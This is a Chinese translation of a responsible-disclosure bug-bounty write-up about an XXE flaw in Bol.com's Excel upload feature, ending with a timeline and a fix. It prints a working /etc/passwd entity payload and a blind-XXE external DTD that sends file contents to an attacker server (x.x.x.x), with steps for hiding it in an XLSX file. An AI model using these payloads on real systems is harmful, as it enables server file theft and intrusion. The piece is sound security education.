在之前的报告中,我们学到了许多有关在访问者的浏览器中执行代码的知识;反射型XSS和存储型XSS。此外,我们还快速查看了错误配置的服务器设置和Open Redirect(开放式重定向)。
今天,我们将探讨的是如何从服务器窃取私有文件。
像往常一样,我们需要一个好的目标。Bol.com是荷兰最大的电子商务网站之一。他们对我提交的开放式重定向错误报告的处理非常积极;快速的回复,修复并始终向我发送更新。没有任何额外的麻烦,没有NDA保密协议,轻松愉快的语气。可以说这是其他公司处理负责任披露的完美范例。也是一家你 值得加入的公司。
在开始正式的内容前,让我们先来了解下什么是XXE,LFI和RCE。
本地文件包含(LFI)是在服务器响应中显示内部服务器文件的过程。远程执行代码(RCE)是在服务器上执行我们自己代码的过程。
通常LFI错误会导致RCE;有很多技巧可以用来将LFI升级为RCE。
RCE漏洞会对服务器安全带来巨大的威胁,因为它可能会最终导致完整的服务器接管。尽管大多数服务器在访问受限的帐户下执行来自Web服务器的代码,但操作系统本身仍时不时会存在一些缺陷。允许绕过此特定访问限制的缺陷。你可能在过去使用过这种类型的bug;通过在iPhone上越狱iOS或root你的安卓手机。两者都是利用了bug来接管操作系统。我们将此类攻击称为提权。
XML外部实体(XXE)攻击基于扩展XML文件,加载本地文件和外部URL。它可能会导致LFI和RCE,因此它同样具有很大的威胁性。虽然XXE攻击发现于十多年前,但至今你仍然可以在许多网站上发现这个漏洞。
可扩展标记语言(XML)
XML是一种标记语言,允许创建计算机和人都易于阅读的文档。虽然有人说这种语言已经过时,但直到现在仍有许多地方在使用它。
如果我们仔细查看该示例,会注意到contents在标记之间,例如<body>contents</body>。因此,我们应该转义标签内的特定字符。否则,将有可能被人恶意注入标签并操纵整个XML文件。默认情况下,XML会将<>&’”字符转义为类似<>&'"的实体。因此,我们仍可以在不破坏XML文件的情况下使用字符。
XML有一个很好的功能,就是允许我们通过在XML文档中包含Document类型定义(DTD)来定义我们自己的实体。如下所示。
DTD 示例:
Example DTD
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY body "Don't forget me this weekend!" >
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body><r>&body;</r></body>
</note>
但是如果解析器允许我们定义文件而不是字符串呢?结果将是实体被文件中的内容替换。通过更改<!ENTITY body “Don’t forget me this weekend!” >为<!ENTITY body SYSTEM “file:///etc/passwd” >一些解析器将会向我们直接显示/etc/passwd文件的内容。
除了LFI,一些XML解析器还允许我们加载外部URL;只需用http://替换file://字符串即可。webserver将请求此URL。这可能会导致SSRF攻击;你也可以请求内部webserver,扫描开放端口并映射内部网络。你是否能够访问到包含元数据的本地webservers?如果是那么恭喜你,你最终可能得到 25000美元的漏洞赏金。
上述LFI攻击只有在我们的输入返回到某个地方时才可行。否则我们无法读取被替换的实体。如果遇到这种情况,可以使用以下技巧来泄漏数据。
盲XXE?通过HTTP/FTP请求外部DTD泄漏数据
所以服务器会解析你的XML,但没有向你显示响应中的内容?
由于你可以加载外部DTD,因此你可以将自定义实体附加到外部URL。只要URL有效,它就会加载附加了(文件)内容的URL。请注意像#这样的字符会破坏url。
XXEserve
XXEserve是一个由staaldraad创建的用于捕获XXE请求的一个非常棒的工具。它是一个简单的FTP/HTTP服务器,会显示所有我们对服务器的请求。它还伪造了一个FTP服务器;由于字符串中字符的原因,HTTP有时会失败,FTP则会保持正常工作。
1.在公共服务器上安装XXEserv
2.创建包含要泄漏的文件或(内部)URL的外部DTD文件(即sp2.dtd)。将x.x.x.x替换为服务器的IP地址或主机名:
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">
3.将此外部DTD文件放在XXEserv目录中。XXEserv充当公共ftp和Web服务器;所以我们现在能够链接这个文件。
4.将XML payload发送给受害者,包括我们的外部DTD:
<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE r [
<!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd">
%a;
%c;
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body><r>&body;</r></body>
</note>
5.观察XXEserv的输出
如果想查看不同变种的XXE payloads,请点击此处[1][2]。
我们需要找到一种方法将我们的XML代码上传或注入到Bol.com。我们可以从他们的“卖家门户”入手。大多数情况下,卖家能够上传与其产品相关的图片或其他文件。
网站的这一部分允许用户上传准备好(再次)销售的产品。
一句简短的荷兰语:’Aanbod beheren via excel’意思是“在excel中管理库存”。
此界面共包含有三个步骤:
1.下载包含当前库存的Excel文件
2.上传更改的Excel文件
3.查看上传结果
Excel文件的扩展名为XLSX。这是微软开发的一种开放文件格式;它是一个包含多个XML文件的zip文件。
让我们解压这个文件。
如果我们打开sheet1.xml,我们将看到以下代码。
假设我们想尝试将/etc/passwd的文件内容注入到Offer描述中(这是G4单元格,请参阅原始Excel工作表)。
正如我们在图中所看到的那样,字符串’Sample description’被id 108引用。让我们将自定义实体添加到该工作表中,并将此单元格值替换为我们的自定义实体。
我们保存文件,再次压缩文件夹并将文件重命名为xlsx。
让我们看看如果我们在步骤2中上传文件,让它加载,然后从步骤1再次下载文件会发生什么。如果XXE攻击有效,它将更新我们的示例产品(Excel中的第4行)并将/etc/passwd的文件内容注入到产品的标价说明当中。
可以看到我们成功获取到了/etc/passwd中的内容。现在是时候撰写报告并通知他们了!
下一步是检查服务器是否是支持云元数据,检查包含API密钥的配置文件,并查看是否可以从LFI升级到RCE。
但由于该结果已对目标有足够的影响,因此我决定立即通知Bol.com。我询问他们是否需要我进一步的测试并将此升级为RCE。但在他们回复之前,错误已经被修复:-)
如果我们尝试解析目录而不是文件(即<!ENTITY body SYSTEM “file:///etc/”>),Bol.com使用的XML解析器将返回文件名(作为一个大字符串)。这使我们能够快速枚举服务器上的所有文件,而不需要爆破文件名。
可以在大量文件中注入XXE payload。因此,每次上传图片都是潜在的XXE漏洞。Buffalo创建了一个很不错的工具,可帮助你将XXE payload轻松地嵌入到所有这些不同的文件中。
通过编辑XML文件,我们能够在上传中将本地服务器文件的内容作为字符串包含在内。之后我们能够下载此文档,因此我们能够从其中一个生产服务器读取私有文件。
最佳解决方案是禁用XML解析器中的任何DTD支持。更多内容请参阅OWASP对不同解析器及其配置的概述。
- 本地文件包含
- 可能执行本地拒绝服务攻击(未确认)
- 可能的RCE(未确认)
- 可能的SSRF(未确认)
2018.9.2 发现漏洞并通知Bol.com
2018.9.3 Bol.com确认漏洞
2018.9.4 Bol.com修复漏洞,并奖励了价值500欧元的Bol.com优惠券
2018.9.8 撰写本文并告知Bol.com
2018.9.11 发表本文
*参考来源:medium,FB小编secist编译,转载请注明来自FreeBuf.COM